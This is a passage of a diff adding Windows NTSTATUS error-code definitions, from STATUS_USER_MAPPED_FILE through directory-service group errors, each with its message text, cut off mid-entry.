+// The requested operation cannot be performed on a file with a user mapped section open. +// +#define STATUS_USER_MAPPED_FILE ((NTSTATUS)0xC0000243L) + +// +// MessageId: STATUS_AUDIT_FAILED +// +// MessageText: +// +// {Audit Failed} +// An attempt to generate a security audit failed. +// +#define STATUS_AUDIT_FAILED ((NTSTATUS)0xC0000244L) + +// +// MessageId: STATUS_TIMER_RESOLUTION_NOT_SET +// +// MessageText: +// +// The timer resolution was not previously set by the current process. +// +#define STATUS_TIMER_RESOLUTION_NOT_SET ((NTSTATUS)0xC0000245L) + +// +// MessageId: STATUS_CONNECTION_COUNT_LIMIT +// +// MessageText: +// +// A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached. +// +#define STATUS_CONNECTION_COUNT_LIMIT ((NTSTATUS)0xC0000246L) + +// +// MessageId: STATUS_LOGIN_TIME_RESTRICTION +// +// MessageText: +// +// Attempting to login during an unauthorized time of day for this account. +// +#define STATUS_LOGIN_TIME_RESTRICTION ((NTSTATUS)0xC0000247L) + +// +// MessageId: STATUS_LOGIN_WKSTA_RESTRICTION +// +// MessageText: +// +// The account is not authorized to login from this station. +// +#define STATUS_LOGIN_WKSTA_RESTRICTION ((NTSTATUS)0xC0000248L) + +// +// MessageId: STATUS_IMAGE_MP_UP_MISMATCH +// +// MessageText: +// +// {UP/MP Image Mismatch} +// The image %hs has been modified for use on a uniprocessor system, but you are running it on a multiprocessor machine. +// Please reinstall the image file. +// +#define STATUS_IMAGE_MP_UP_MISMATCH ((NTSTATUS)0xC0000249L) + +// +// MessageId: STATUS_INSUFFICIENT_LOGON_INFO +// +// MessageText: +// +// There is insufficient account information to log you on. +// +#define STATUS_INSUFFICIENT_LOGON_INFO ((NTSTATUS)0xC0000250L) + +// +// MessageId: STATUS_BAD_DLL_ENTRYPOINT +// +// MessageText: +// +// {Invalid DLL Entrypoint} +// The dynamic link library %hs is not written correctly. The stack pointer has been left in an inconsistent state. +// The entrypoint should be declared as WINAPI or STDCALL. Select YES to fail the DLL load. Select NO to continue execution. Selecting NO may cause the application to operate incorrectly. +// +#define STATUS_BAD_DLL_ENTRYPOINT ((NTSTATUS)0xC0000251L) + +// +// MessageId: STATUS_BAD_SERVICE_ENTRYPOINT +// +// MessageText: +// +// {Invalid Service Callback Entrypoint} +// The %hs service is not written correctly. The stack pointer has been left in an inconsistent state. +// The callback entrypoint should be declared as WINAPI or STDCALL. Selecting OK will cause the service to continue operation. However, the service process may operate incorrectly. +// +#define STATUS_BAD_SERVICE_ENTRYPOINT ((NTSTATUS)0xC0000252L) + +// +// MessageId: STATUS_LPC_REPLY_LOST +// +// MessageText: +// +// The server received the messages but did not send a reply. +// +#define STATUS_LPC_REPLY_LOST ((NTSTATUS)0xC0000253L) + +// +// MessageId: STATUS_IP_ADDRESS_CONFLICT1 +// +// MessageText: +// +// There is an IP address conflict with another system on the network +// +#define STATUS_IP_ADDRESS_CONFLICT1 ((NTSTATUS)0xC0000254L) + +// +// MessageId: STATUS_IP_ADDRESS_CONFLICT2 +// +// MessageText: +// +// There is an IP address conflict with another system on the network +// +#define STATUS_IP_ADDRESS_CONFLICT2 ((NTSTATUS)0xC0000255L) + +// +// MessageId: STATUS_REGISTRY_QUOTA_LIMIT +// +// MessageText: +// +// {Low On Registry Space} +// The system has reached the maximum size allowed for the system part of the registry. Additional storage requests will be ignored. +// +#define STATUS_REGISTRY_QUOTA_LIMIT ((NTSTATUS)0xC0000256L) + +// +// MessageId: STATUS_PATH_NOT_COVERED +// +// MessageText: +// +// The contacted server does not support the indicated part of the DFS namespace. +// +#define STATUS_PATH_NOT_COVERED ((NTSTATUS)0xC0000257L) + +// +// MessageId: STATUS_NO_CALLBACK_ACTIVE +// +// MessageText: +// +// A callback return system service cannot be executed when no callback is active. +// +#define STATUS_NO_CALLBACK_ACTIVE ((NTSTATUS)0xC0000258L) + +// +// MessageId: STATUS_LICENSE_QUOTA_EXCEEDED +// +// MessageText: +// +// The service being accessed is licensed for a particular number of connections. +// No more connections can be made to the service at this time because there are already as many connections as the service can accept. +// +#define STATUS_LICENSE_QUOTA_EXCEEDED ((NTSTATUS)0xC0000259L) + +// +// MessageId: STATUS_PWD_TOO_SHORT +// +// MessageText: +// +// The password provided is too short to meet the policy of your user account. +// Please choose a longer password. +// +#define STATUS_PWD_TOO_SHORT ((NTSTATUS)0xC000025AL) + +// +// MessageId: STATUS_PWD_TOO_RECENT +// +// MessageText: +// +// The policy of your user account does not allow you to change passwords too frequently. +// This is done to prevent users from changing back to a familiar, but potentially discovered, password. +// If you feel your password has been compromised then please contact your administrator immediately to have a new one assigned. +// +#define STATUS_PWD_TOO_RECENT ((NTSTATUS)0xC000025BL) + +// +// MessageId: STATUS_PWD_HISTORY_CONFLICT +// +// MessageText: +// +// You have attempted to change your password to one that you have used in the past. +// The policy of your user account does not allow this. Please select a password that you have not previously used. +// +#define STATUS_PWD_HISTORY_CONFLICT ((NTSTATUS)0xC000025CL) + +// +// MessageId: STATUS_PLUGPLAY_NO_DEVICE +// +// MessageText: +// +// You have attempted to load a legacy device driver while its device instance had been disabled. +// +#define STATUS_PLUGPLAY_NO_DEVICE ((NTSTATUS)0xC000025EL) + +// +// MessageId: STATUS_UNSUPPORTED_COMPRESSION +// +// MessageText: +// +// The specified compression format is unsupported. +// +#define STATUS_UNSUPPORTED_COMPRESSION ((NTSTATUS)0xC000025FL) + +// +// MessageId: STATUS_INVALID_HW_PROFILE +// +// MessageText: +// +// The specified hardware profile configuration is invalid. +// +#define STATUS_INVALID_HW_PROFILE ((NTSTATUS)0xC0000260L) + +// +// MessageId: STATUS_INVALID_PLUGPLAY_DEVICE_PATH +// +// MessageText: +// +// The specified Plug and Play registry device path is invalid. +// +#define STATUS_INVALID_PLUGPLAY_DEVICE_PATH ((NTSTATUS)0xC0000261L) + +// +// MessageId: STATUS_DRIVER_ORDINAL_NOT_FOUND +// +// MessageText: +// +// {Driver Entry Point Not Found} +// The %hs device driver could not locate the ordinal %ld in driver %hs. +// +#define STATUS_DRIVER_ORDINAL_NOT_FOUND ((NTSTATUS)0xC0000262L) + +// +// MessageId: STATUS_DRIVER_ENTRYPOINT_NOT_FOUND +// +// MessageText: +// +// {Driver Entry Point Not Found} +// The %hs device driver could not locate the entry point %hs in driver %hs. +// +#define STATUS_DRIVER_ENTRYPOINT_NOT_FOUND ((NTSTATUS)0xC0000263L) + +// +// MessageId: STATUS_RESOURCE_NOT_OWNED +// +// MessageText: +// +// {Application Error} +// The application attempted to release a resource it did not own. Click on OK to terminate the application. +// +#define STATUS_RESOURCE_NOT_OWNED ((NTSTATUS)0xC0000264L) + +// +// MessageId: STATUS_TOO_MANY_LINKS +// +// MessageText: +// +// An attempt was made to create more links on a file than the file system supports. +// +#define STATUS_TOO_MANY_LINKS ((NTSTATUS)0xC0000265L) + +// +// MessageId: STATUS_QUOTA_LIST_INCONSISTENT +// +// MessageText: +// +// The specified quota list is internally inconsistent with its descriptor. +// +#define STATUS_QUOTA_LIST_INCONSISTENT ((NTSTATUS)0xC0000266L) + +// +// MessageId: STATUS_FILE_IS_OFFLINE +// +// MessageText: +// +// The specified file has been relocated to offline storage. +// +#define STATUS_FILE_IS_OFFLINE ((NTSTATUS)0xC0000267L) + +// +// MessageId: STATUS_EVALUATION_EXPIRATION +// +// MessageText: +// +// {Windows Evaluation Notification} +// The evaluation period for this installation of Windows has expired. This system will shutdown in 1 hour. To restore access to this installation of Windows, please upgrade this installation using a licensed distribution of this product. +// +#define STATUS_EVALUATION_EXPIRATION ((NTSTATUS)0xC0000268L) + +// +// MessageId: STATUS_ILLEGAL_DLL_RELOCATION +// +// MessageText: +// +// {Illegal System DLL Relocation} +// The system DLL %hs was relocated in memory. The application will not run properly. +// The relocation occurred because the DLL %hs occupied an address range reserved for Windows system DLLs. The vendor supplying the DLL should be contacted for a new DLL. +// +#define STATUS_ILLEGAL_DLL_RELOCATION ((NTSTATUS)0xC0000269L) + +// +// MessageId: STATUS_LICENSE_VIOLATION +// +// MessageText: +// +// {License Violation} +// The system has detected tampering with your registered product type. This is a violation of your software license. Tampering with product type is not permitted. +// +#define STATUS_LICENSE_VIOLATION ((NTSTATUS)0xC000026AL) + +// +// MessageId: STATUS_DLL_INIT_FAILED_LOGOFF +// +// MessageText: +// +// {DLL Initialization Failed} +// The application failed to initialize because the window station is shutting down. +// +#define STATUS_DLL_INIT_FAILED_LOGOFF ((NTSTATUS)0xC000026BL) + +// +// MessageId: STATUS_DRIVER_UNABLE_TO_LOAD +// +// MessageText: +// +// {Unable to Load Device Driver} +// %hs device driver could not be loaded. +// Error Status was 0x%x +// +#define STATUS_DRIVER_UNABLE_TO_LOAD ((NTSTATUS)0xC000026CL) + +// +// MessageId: STATUS_DFS_UNAVAILABLE +// +// MessageText: +// +// DFS is unavailable on the contacted server. +// +#define STATUS_DFS_UNAVAILABLE ((NTSTATUS)0xC000026DL) + +// +// MessageId: STATUS_VOLUME_DISMOUNTED +// +// MessageText: +// +// An operation was attempted to a volume after it was dismounted. +// +#define STATUS_VOLUME_DISMOUNTED ((NTSTATUS)0xC000026EL) + +// +// MessageId: STATUS_WX86_INTERNAL_ERROR +// +// MessageText: +// +// An internal error occurred in the Win32 x86 emulation subsystem. +// +#define STATUS_WX86_INTERNAL_ERROR ((NTSTATUS)0xC000026FL) + +// +// MessageId: STATUS_WX86_FLOAT_STACK_CHECK +// +// MessageText: +// +// Win32 x86 emulation subsystem Floating-point stack check. +// +#define STATUS_WX86_FLOAT_STACK_CHECK ((NTSTATUS)0xC0000270L) + +// +// MessageId: STATUS_VALIDATE_CONTINUE +// +// MessageText: +// +// The validation process needs to continue on to the next step. +// +#define STATUS_VALIDATE_CONTINUE ((NTSTATUS)0xC0000271L) + +// +// MessageId: STATUS_NO_MATCH +// +// MessageText: +// +// There was no match for the specified key in the index. +// +#define STATUS_NO_MATCH ((NTSTATUS)0xC0000272L) + +// +// MessageId: STATUS_NO_MORE_MATCHES +// +// MessageText: +// +// There are no more matches for the current index enumeration. +// +#define STATUS_NO_MORE_MATCHES ((NTSTATUS)0xC0000273L) + +// +// MessageId: STATUS_NOT_A_REPARSE_POINT +// +// MessageText: +// +// The NTFS file or directory is not a reparse point. +// +#define STATUS_NOT_A_REPARSE_POINT ((NTSTATUS)0xC0000275L) + +// +// MessageId: STATUS_IO_REPARSE_TAG_INVALID +// +// MessageText: +// +// The Windows I/O reparse tag passed for the NTFS reparse point is invalid. +// +#define STATUS_IO_REPARSE_TAG_INVALID ((NTSTATUS)0xC0000276L) + +// +// MessageId: STATUS_IO_REPARSE_TAG_MISMATCH +// +// MessageText: +// +// The Windows I/O reparse tag does not match the one present in the NTFS reparse point. +// +#define STATUS_IO_REPARSE_TAG_MISMATCH ((NTSTATUS)0xC0000277L) + +// +// MessageId: STATUS_IO_REPARSE_DATA_INVALID +// +// MessageText: +// +// The user data passed for the NTFS reparse point is invalid. +// +#define STATUS_IO_REPARSE_DATA_INVALID ((NTSTATUS)0xC0000278L) + +// +// MessageId: STATUS_IO_REPARSE_TAG_NOT_HANDLED +// +// MessageText: +// +// The layered file system driver for this IO tag did not handle it when needed. +// +#define STATUS_IO_REPARSE_TAG_NOT_HANDLED ((NTSTATUS)0xC0000279L) + +// +// MessageId: STATUS_REPARSE_POINT_NOT_RESOLVED +// +// MessageText: +// +// The NTFS symbolic link could not be resolved even though the initial file name is valid. +// +#define STATUS_REPARSE_POINT_NOT_RESOLVED ((NTSTATUS)0xC0000280L) + +// +// MessageId: STATUS_DIRECTORY_IS_A_REPARSE_POINT +// +// MessageText: +// +// The NTFS directory is a reparse point. +// +#define STATUS_DIRECTORY_IS_A_REPARSE_POINT ((NTSTATUS)0xC0000281L) + +// +// MessageId: STATUS_RANGE_LIST_CONFLICT +// +// MessageText: +// +// The range could not be added to the range list because of a conflict. +// +#define STATUS_RANGE_LIST_CONFLICT ((NTSTATUS)0xC0000282L) + +// +// MessageId: STATUS_SOURCE_ELEMENT_EMPTY +// +// MessageText: +// +// The specified medium changer source element contains no media. +// +#define STATUS_SOURCE_ELEMENT_EMPTY ((NTSTATUS)0xC0000283L) + +// +// MessageId: STATUS_DESTINATION_ELEMENT_FULL +// +// MessageText: +// +// The specified medium changer destination element already contains media. +// +#define STATUS_DESTINATION_ELEMENT_FULL ((NTSTATUS)0xC0000284L) + +// +// MessageId: STATUS_ILLEGAL_ELEMENT_ADDRESS +// +// MessageText: +// +// The specified medium changer element does not exist. +// +#define STATUS_ILLEGAL_ELEMENT_ADDRESS ((NTSTATUS)0xC0000285L) + +// +// MessageId: STATUS_MAGAZINE_NOT_PRESENT +// +// MessageText: +// +// The specified element is contained within a magazine that is no longer present. +// +#define STATUS_MAGAZINE_NOT_PRESENT ((NTSTATUS)0xC0000286L) + +// +// MessageId: STATUS_REINITIALIZATION_NEEDED +// +// MessageText: +// +// The device requires reinitialization due to hardware errors. +// +#define STATUS_REINITIALIZATION_NEEDED ((NTSTATUS)0xC0000287L) + +// +// MessageId: STATUS_DEVICE_REQUIRES_CLEANING +// +// MessageText: +// +// The device has indicated that cleaning is necessary. +// +#define STATUS_DEVICE_REQUIRES_CLEANING ((NTSTATUS)0x80000288L) + +// +// MessageId: STATUS_DEVICE_DOOR_OPEN +// +// MessageText: +// +// The device has indicated that it's door is open. Further operations require it closed and secured. +// +#define STATUS_DEVICE_DOOR_OPEN ((NTSTATUS)0x80000289L) + +// +// MessageId: STATUS_ENCRYPTION_FAILED +// +// MessageText: +// +// The file encryption attempt failed. +// +#define STATUS_ENCRYPTION_FAILED ((NTSTATUS)0xC000028AL) + +// +// MessageId: STATUS_DECRYPTION_FAILED +// +// MessageText: +// +// The file decryption attempt failed. +// +#define STATUS_DECRYPTION_FAILED ((NTSTATUS)0xC000028BL) + +// +// MessageId: STATUS_RANGE_NOT_FOUND +// +// MessageText: +// +// The specified range could not be found in the range list. +// +#define STATUS_RANGE_NOT_FOUND ((NTSTATUS)0xC000028CL) + +// +// MessageId: STATUS_NO_RECOVERY_POLICY +// +// MessageText: +// +// There is no encryption recovery policy configured for this system. +// +#define STATUS_NO_RECOVERY_POLICY ((NTSTATUS)0xC000028DL) + +// +// MessageId: STATUS_NO_EFS +// +// MessageText: +// +// The required encryption driver is not loaded for this system. +// +#define STATUS_NO_EFS ((NTSTATUS)0xC000028EL) + +// +// MessageId: STATUS_WRONG_EFS +// +// MessageText: +// +// The file was encrypted with a different encryption driver than is currently loaded. +// +#define STATUS_WRONG_EFS ((NTSTATUS)0xC000028FL) + +// +// MessageId: STATUS_NO_USER_KEYS +// +// MessageText: +// +// There are no EFS keys defined for the user. +// +#define STATUS_NO_USER_KEYS ((NTSTATUS)0xC0000290L) + +// +// MessageId: STATUS_FILE_NOT_ENCRYPTED +// +// MessageText: +// +// The specified file is not encrypted. +// +#define STATUS_FILE_NOT_ENCRYPTED ((NTSTATUS)0xC0000291L) + +// +// MessageId: STATUS_NOT_EXPORT_FORMAT +// +// MessageText: +// +// The specified file is not in the defined EFS export format. +// +#define STATUS_NOT_EXPORT_FORMAT ((NTSTATUS)0xC0000292L) + +// +// MessageId: STATUS_FILE_ENCRYPTED +// +// MessageText: +// +// The specified file is encrypted and the user does not have the ability to decrypt it. +// +#define STATUS_FILE_ENCRYPTED ((NTSTATUS)0xC0000293L) + +// +// MessageId: STATUS_WAKE_SYSTEM +// +// MessageText: +// +// The system has awoken +// +#define STATUS_WAKE_SYSTEM ((NTSTATUS)0x40000294L) + +// +// MessageId: STATUS_WMI_GUID_NOT_FOUND +// +// MessageText: +// +// The guid passed was not recognized as valid by a WMI data provider. +// +#define STATUS_WMI_GUID_NOT_FOUND ((NTSTATUS)0xC0000295L) + +// +// MessageId: STATUS_WMI_INSTANCE_NOT_FOUND +// +// MessageText: +// +// The instance name passed was not recognized as valid by a WMI data provider. +// +#define STATUS_WMI_INSTANCE_NOT_FOUND ((NTSTATUS)0xC0000296L) + +// +// MessageId: STATUS_WMI_ITEMID_NOT_FOUND +// +// MessageText: +// +// The data item id passed was not recognized as valid by a WMI data provider. +// +#define STATUS_WMI_ITEMID_NOT_FOUND ((NTSTATUS)0xC0000297L) + +// +// MessageId: STATUS_WMI_TRY_AGAIN +// +// MessageText: +// +// The WMI request could not be completed and should be retried. +// +#define STATUS_WMI_TRY_AGAIN ((NTSTATUS)0xC0000298L) + +// +// MessageId: STATUS_SHARED_POLICY +// +// MessageText: +// +// The policy object is shared and can only be modified at the root +// +#define STATUS_SHARED_POLICY ((NTSTATUS)0xC0000299L) + +// +// MessageId: STATUS_POLICY_OBJECT_NOT_FOUND +// +// MessageText: +// +// The policy object does not exist when it should +// +#define STATUS_POLICY_OBJECT_NOT_FOUND ((NTSTATUS)0xC000029AL) + +// +// MessageId: STATUS_POLICY_ONLY_IN_DS +// +// MessageText: +// +// The requested policy information only lives in the Ds +// +#define STATUS_POLICY_ONLY_IN_DS ((NTSTATUS)0xC000029BL) + +// +// MessageId: STATUS_VOLUME_NOT_UPGRADED +// +// MessageText: +// +// The volume must be upgraded to enable this feature +// +#define STATUS_VOLUME_NOT_UPGRADED ((NTSTATUS)0xC000029CL) + +// +// MessageId: STATUS_REMOTE_STORAGE_NOT_ACTIVE +// +// MessageText: +// +// The remote storage service is not operational at this time. +// +#define STATUS_REMOTE_STORAGE_NOT_ACTIVE ((NTSTATUS)0xC000029DL) + +// +// MessageId: STATUS_REMOTE_STORAGE_MEDIA_ERROR +// +// MessageText: +// +// The remote storage service encountered a media error. +// +#define STATUS_REMOTE_STORAGE_MEDIA_ERROR ((NTSTATUS)0xC000029EL) + +// +// MessageId: STATUS_NO_TRACKING_SERVICE +// +// MessageText: +// +// The tracking (workstation) service is not running. +// +#define STATUS_NO_TRACKING_SERVICE ((NTSTATUS)0xC000029FL) + +// +// MessageId: STATUS_SERVER_SID_MISMATCH +// +// MessageText: +// +// The server process is running under a SID different than that required by client. +// +#define STATUS_SERVER_SID_MISMATCH ((NTSTATUS)0xC00002A0L) + +// +// Directory Service specific Errors +// +// +// MessageId: STATUS_DS_NO_ATTRIBUTE_OR_VALUE +// +// MessageText: +// +// The specified directory service attribute or value does not exist. +// +#define STATUS_DS_NO_ATTRIBUTE_OR_VALUE ((NTSTATUS)0xC00002A1L) + +// +// MessageId: STATUS_DS_INVALID_ATTRIBUTE_SYNTAX +// +// MessageText: +// +// The attribute syntax specified to the directory service is invalid. +// +#define STATUS_DS_INVALID_ATTRIBUTE_SYNTAX ((NTSTATUS)0xC00002A2L) + +// +// MessageId: STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED +// +// MessageText: +// +// The attribute type specified to the directory service is not defined. +// +#define STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED ((NTSTATUS)0xC00002A3L) + +// +// MessageId: STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS +// +// MessageText: +// +// The specified directory service attribute or value already exists. +// +#define STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS ((NTSTATUS)0xC00002A4L) + +// +// MessageId: STATUS_DS_BUSY +// +// MessageText: +// +// The directory service is busy. +// +#define STATUS_DS_BUSY ((NTSTATUS)0xC00002A5L) + +// +// MessageId: STATUS_DS_UNAVAILABLE +// +// MessageText: +// +// The directory service is not available. +// +#define STATUS_DS_UNAVAILABLE ((NTSTATUS)0xC00002A6L) + +// +// MessageId: STATUS_DS_NO_RIDS_ALLOCATED +// +// MessageText: +// +// The directory service was unable to allocate a relative identifier. +// +#define STATUS_DS_NO_RIDS_ALLOCATED ((NTSTATUS)0xC00002A7L) + +// +// MessageId: STATUS_DS_NO_MORE_RIDS +// +// MessageText: +// +// The directory service has exhausted the pool of relative identifiers. +// +#define STATUS_DS_NO_MORE_RIDS ((NTSTATUS)0xC00002A8L) + +// +// MessageId: STATUS_DS_INCORRECT_ROLE_OWNER +// +// MessageText: +// +// The requested operation could not be performed because the directory service is not the master for that type of operation. +// +#define STATUS_DS_INCORRECT_ROLE_OWNER ((NTSTATUS)0xC00002A9L) + +// +// MessageId: STATUS_DS_RIDMGR_INIT_ERROR +// +// MessageText: +// +// The directory service was unable to initialize the subsystem that allocates relative identifiers. +// +#define STATUS_DS_RIDMGR_INIT_ERROR ((NTSTATUS)0xC00002AAL) + +// +// MessageId: STATUS_DS_OBJ_CLASS_VIOLATION +// +// MessageText: +// +// The requested operation did not satisfy one or more constraints associated with the class of the object. +// +#define STATUS_DS_OBJ_CLASS_VIOLATION ((NTSTATUS)0xC00002ABL) + +// +// MessageId: STATUS_DS_CANT_ON_NON_LEAF +// +// MessageText: +// +// The directory service can perform the requested operation only on a leaf object. +// +#define STATUS_DS_CANT_ON_NON_LEAF ((NTSTATUS)0xC00002ACL) + +// +// MessageId: STATUS_DS_CANT_ON_RDN +// +// MessageText: +// +// The directory service cannot perform the requested operation on the Relatively Defined Name (RDN) attribute of an object. +// +#define STATUS_DS_CANT_ON_RDN ((NTSTATUS)0xC00002ADL) + +// +// MessageId: STATUS_DS_CANT_MOD_OBJ_CLASS +// +// MessageText: +// +// The directory service detected an attempt to modify the object class of an object. +// +#define STATUS_DS_CANT_MOD_OBJ_CLASS ((NTSTATUS)0xC00002AEL) + +// +// MessageId: STATUS_DS_CROSS_DOM_MOVE_FAILED +// +// MessageText: +// +// An error occurred while performing a cross domain move operation. +// +#define STATUS_DS_CROSS_DOM_MOVE_FAILED ((NTSTATUS)0xC00002AFL) + +// +// MessageId: STATUS_DS_GC_NOT_AVAILABLE +// +// MessageText: +// +// Unable to Contact the Global Catalog Server. +// +#define STATUS_DS_GC_NOT_AVAILABLE ((NTSTATUS)0xC00002B0L) + +// +// MessageId: STATUS_DIRECTORY_SERVICE_REQUIRED +// +// MessageText: +// +// The requested operation requires a directory service, and none was available. +// +#define STATUS_DIRECTORY_SERVICE_REQUIRED ((NTSTATUS)0xC00002B1L) + +// +// MessageId: STATUS_REPARSE_ATTRIBUTE_CONFLICT +// +// MessageText: +// +// The reparse attribute cannot be set as it is incompatible with an existing attribute. +// +#define STATUS_REPARSE_ATTRIBUTE_CONFLICT ((NTSTATUS)0xC00002B2L) + +// +// MessageId: STATUS_CANT_ENABLE_DENY_ONLY +// +// MessageText: +// +// A group marked use for deny only can not be enabled. +// +#define STATUS_CANT_ENABLE_DENY_ONLY ((NTSTATUS)0xC00002B3L) + +// +// MessageId: STATUS_DEVICE_REMOVED +// +// MessageText: +// +// The device has been removed. +// +#define STATUS_DEVICE_REMOVED ((NTSTATUS)0xC00002B6L) + +// +// MessageId: STATUS_JOURNAL_DELETE_IN_PROGRESS +// +// MessageText: +// +// The volume change journal is being deleted. +// +#define STATUS_JOURNAL_DELETE_IN_PROGRESS ((NTSTATUS)0xC00002B7L) + +// +// MessageId: STATUS_JOURNAL_NOT_ACTIVE +// +// MessageText: +// +// The volume change journal is not active. +// +#define STATUS_JOURNAL_NOT_ACTIVE ((NTSTATUS)0xC00002B8L) + +// +// MessageId: STATUS_NOINTERFACE +// +// MessageText: +// +// The requested interface is not supported. +// +#define STATUS_NOINTERFACE ((NTSTATUS)0xC00002B9L) + +// +// MessageId: STATUS_DS_ADMIN_LIMIT_EXCEEDED +// +// MessageText: +// +// A directory service resource limit has been exceeded. +// +#define STATUS_DS_ADMIN_LIMIT_EXCEEDED ((NTSTATUS)0xC00002C1L) + +// +// MessageId: STATUS_DRIVER_FAILED_SLEEP +// +// MessageText: +// +// {System Standby Failed} +// The driver %hs does not support standby mode. Updating this driver may allow the system to go to standby mode. +// +#define STATUS_DRIVER_FAILED_SLEEP ((NTSTATUS)0xC00002C2L) + +// +// MessageId: STATUS_MUTUAL_AUTHENTICATION_FAILED +// +// MessageText: +// +// Mutual Authentication failed. The server's password is out of date at the domain controller. +// +#define STATUS_MUTUAL_AUTHENTICATION_FAILED ((NTSTATUS)0xC00002C3L) + +// +// MessageId: STATUS_CORRUPT_SYSTEM_FILE +// +// MessageText: +// +// The system file %1 has become corrupt and has been replaced. +// +#define STATUS_CORRUPT_SYSTEM_FILE ((NTSTATUS)0xC00002C4L) + +// +// MessageId: STATUS_DATATYPE_MISALIGNMENT_ERROR +// +// MessageText: +// +// {EXCEPTION} +// Alignment Error +// A datatype misalignment error was detected in a load or store instruction. +// +#define STATUS_DATATYPE_MISALIGNMENT_ERROR ((NTSTATUS)0xC00002C5L) + +// +// MessageId: STATUS_WMI_READ_ONLY +// +// MessageText: +// +// The WMI data item or data block is read only. +// +#define STATUS_WMI_READ_ONLY ((NTSTATUS)0xC00002C6L) + +// +// MessageId: STATUS_WMI_SET_FAILURE +// +// MessageText: +// +// The WMI data item or data block could not be changed. +// +#define STATUS_WMI_SET_FAILURE ((NTSTATUS)0xC00002C7L) + +// +// MessageId: STATUS_COMMITMENT_MINIMUM +// +// MessageText: +// +// {Virtual Memory Minimum Too Low} +// Your system is low on virtual memory. Windows is increasing the size of your virtual memory paging file. +// During this process, memory requests for some applications may be denied. For more information, see Help. +// +#define STATUS_COMMITMENT_MINIMUM ((NTSTATUS)0xC00002C8L) + +// +// MessageId: STATUS_TRANSPORT_FULL +// +// MessageText: +// +// The medium changer's transport element contains media, which is causing the operation to fail. +// +#define STATUS_TRANSPORT_FULL ((NTSTATUS)0xC00002CAL) + +// +// MessageId: STATUS_DS_SAM_INIT_FAILURE +// +// MessageText: +// +// Security Accounts Manager initialization failed because of the following error: +// %hs +// Error Status: 0x%x. +// Please click OK to shutdown this system and reboot into Directory Services Restore Mode, check the event log for more detailed information. +// +#define STATUS_DS_SAM_INIT_FAILURE ((NTSTATUS)0xC00002CBL) + +// +// MessageId: STATUS_ONLY_IF_CONNECTED +// +// MessageText: +// +// This operation is supported only when you are connected to the server. +// +#define STATUS_ONLY_IF_CONNECTED ((NTSTATUS)0xC00002CCL) + +// +// MessageId: STATUS_DS_SENSITIVE_GROUP_VIOLATION +// +// MessageText: +// +// Only an administrator can modify the membership list of an administrative group. +// +#define STATUS_DS_SENSITIVE_GROUP_VIOLATION ((NTSTATUS)0xC00002CDL) + +// +// MessageId: STATUS_PNP_RESTART_ENUMERATION +// +// MessageText: +// +// A device was removed so enumeration must be restarted. +// +#define STATUS_PNP_RESTART_ENUMERATION ((NTSTATUS)0xC00002CEL) + +// +// MessageId: STATUS_JOURNAL_ENTRY_DELETED +// +// MessageText: +// +// The journal entry has been deleted from the journal. +// +#define STATUS_JOURNAL_ENTRY_DELETED ((NTSTATUS)0xC00002CFL) + +// +// MessageId: STATUS_DS_CANT_MOD_PRIMARYGROUPID +// +// MessageText: +// +// Cannot change the primary group ID of a domain controller account. +// +#define STATUS_DS_CANT_MOD_PRIMARYGROUPID ((NTSTATUS)0xC00002D0L) + +// +// MessageId: STATUS_SYSTEM_IMAGE_BAD_SIGNATURE +// +// MessageText: +// +// {Fatal System Error} +// The system image %s is not properly signed. +// The file has been replaced with the signed file. +// The system has been shut down. +// +#define STATUS_SYSTEM_IMAGE_BAD_SIGNATURE ((NTSTATUS)0xC00002D1L) + +// +// MessageId: STATUS_PNP_REBOOT_REQUIRED +// +// MessageText: +// +// Device will not start without a reboot. +// +#define STATUS_PNP_REBOOT_REQUIRED ((NTSTATUS)0xC00002D2L) + +// +// MessageId: STATUS_POWER_STATE_INVALID +// +// MessageText: +// +// Current device power state cannot support this request. +// +#define STATUS_POWER_STATE_INVALID ((NTSTATUS)0xC00002D3L) + +// +// MessageId: STATUS_DS_INVALID_GROUP_TYPE +// +// MessageText: +// +// The specified group type is invalid. +// +#define STATUS_DS_INVALID_GROUP_TYPE ((NTSTATUS)0xC00002D4L) + +// +// MessageId: STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN +// +// MessageText: +// +// In mixed domain no nesting of global group if group is security enabled. +// +#define STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN ((NTSTATUS)0xC00002D5L) + +// +// MessageId: STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN +// +// MessageText: +// +// In mixed domain, cannot nest local groups with other local groups, if the group is security enabled. +// +#define STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN ((NTSTATUS)0xC00002D6L) + +// +// MessageId: STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER +// +// MessageText: +// +// A global group cannot have a local group as a member. +// +#define STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER ((NTSTATUS)0xC00002D7L) + +// +// MessageId: STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER +// +// MessageText: +// +// A global group cannot have a universal group as a member. +// +#define STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER ((NTSTATUS)0xC00002D8L) + +// +// MessageId: STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER +// +// MessageText: +// +// A universal group cannot have a local group as a member. +// +#define STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER ((NTSTATUS)0xC00002D9L) + +// +// MessageId: STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER +// +// MessageText: +// +// A global group cannot have a cross domain member. +// +#define STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER ((NTSTATUS)0xC00002DAL) + +// +// MessageId: STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER +// +// MessageText: +// +// A local group cannot have another cross domain local group as a member. +// +#define STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER ((NTSTATUS)0xC00002DBL) + +// +// MessageId: STATUS_DS_HAVE_PRIMARY_MEMBERS +// +// MessageText: +// +// Can not change to security disabled group because of having primary members in this group. +// +#define STATUS_DS_HAVE_PRIMARY_MEMBERS ((NTSTATUS)0xC00002DCL) + +// +// MessageId: 